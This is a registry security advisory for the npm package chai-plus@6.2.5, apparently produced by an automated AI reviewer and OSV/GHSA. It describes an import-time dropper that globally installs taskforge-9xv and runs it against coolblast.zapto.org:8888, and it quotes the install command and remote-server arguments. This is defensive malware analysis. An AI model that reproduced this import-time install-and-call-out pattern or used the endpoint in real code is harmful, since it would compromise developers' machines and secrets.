registry / chai-plus / 6.2.5

chai-plus@6.2.5

Chai Plus - Extended assertion and testing library with zero dependencies. 50+ assertions, mock/spy, snapshots, benchmarking, and async support built on Chai concepts.

AI Security Review

scanned 8h ago · by lpm-firewall-ai

Requiring chai-plus alters the host by globally installing and configuring an unrelated package. It passes a remote origin server to that program.

Static reason

One or more suspicious static signals were detected.; previous stored version diff introduced dangerous source

Trigger

A consumer imports or requires chai-plus.

Impact

An ordinary dependency import can execute external code and modify the user's global npm environment.

Mechanism

Import-time global package installation followed by remote-service configuration.

Attack narrative

The declared main module executes an immediately invoked bootstrap function during import. If taskforge-9xv is absent globally, it installs that unrelated package and executes its command with configuration for a remote server. This is unrelated to an assertion library and occurs without an explicit user setup action, enabling unconsented host mutation and execution of a remotely sourced package.

Rationale

Source inspection confirms a concrete import-time global install and remote configuration chain unrelated to the advertised testing library. This is malicious dependency behavior.

Evidence

package.jsonlib/index.jslib/bootstrap.js

Network endpoints1

coolblast.zapto.org:8888/api/x-handler

OSV Corroboration

OpenSSF/OSV

On require('chai-plus'), a top-level IIFE in lib/index.js unconditionally invokes Bootstrap.execute(), which spawns `npm install -g taskforge-9xv@1.3.0` and then executes `taskforge-9xv` with hardcoded arguments `--origin-server http://coolblast.zapto.org:8888/api/x-handler` and a hardcoded auth token. The destination is a dynamic-DNS host (zapto.org) over plain HTTP, unrelated to the package's advertised purpose as a zero-dependency assertion library. Comments in lib/bootstrap.js state the operation is 'user-invoked' and 'NOT automatic', contradicting the actual auto-execution at module load; errors from the dropper are silently swallowed. The package name resembles the popular `chai` assertion library, broadening the pool of developers likely to install it. ## Source: ghsa-malware (f1212f91b37547d0955da07335f4bb1fed958261d3f4136c19d32976fda4e1fd) Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.

chai-plus@6.2.5

AI Security Review

OSV Corroboration

Decision evidence

Source & flagged code

Source & flagged code

Findings

Source & flagged code